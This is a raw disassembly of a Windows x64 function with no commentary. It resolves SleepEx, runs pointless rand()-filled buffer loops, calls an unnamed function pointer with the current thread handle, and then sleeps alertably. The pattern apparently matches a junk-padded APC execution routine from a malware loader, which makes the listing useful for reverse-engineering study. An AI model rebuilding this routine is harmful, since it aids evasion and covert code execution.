mov rax, qword [rbp + 0x7d0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov ecx, 0x8c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov ecx, 0x8c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov ecx, 0x8c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov ecx, 0x8c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov dword [rbp + 0x7ec], 0x230
mov dword [rbp + 0x7f0], 0
jmp 0x140002b53
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x650]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x648]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, dword [rbp + 0x7f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x640]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov edx, dword [rbp + 0x7f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x638]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x7ec], 1
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0x230
jle 0x140002a47
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x668]
mov r9, qword [rbp + 0x660]
mov r8d, 0
mov rcx, rax
call r9
mov ecx, 0xe58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov ecx, 0xe58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x7e4], 0x395
mov dword [rbp + 0x7e8], 0
jmp 0x140002c4a
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7e8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x630]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x395
jle 0x140002bfd
mov dword [rbp + 0x7e8], 0
jmp 0x140002ca9
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x630]
add rax, rdx
mov edx, dword [rbp + 0x7e8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x628]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x7e4], 1
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x395
jle 0x140002c62
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x658]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x860]
add rsp, 0x8f0
pop rsi
pop rdi
pop rbp
ret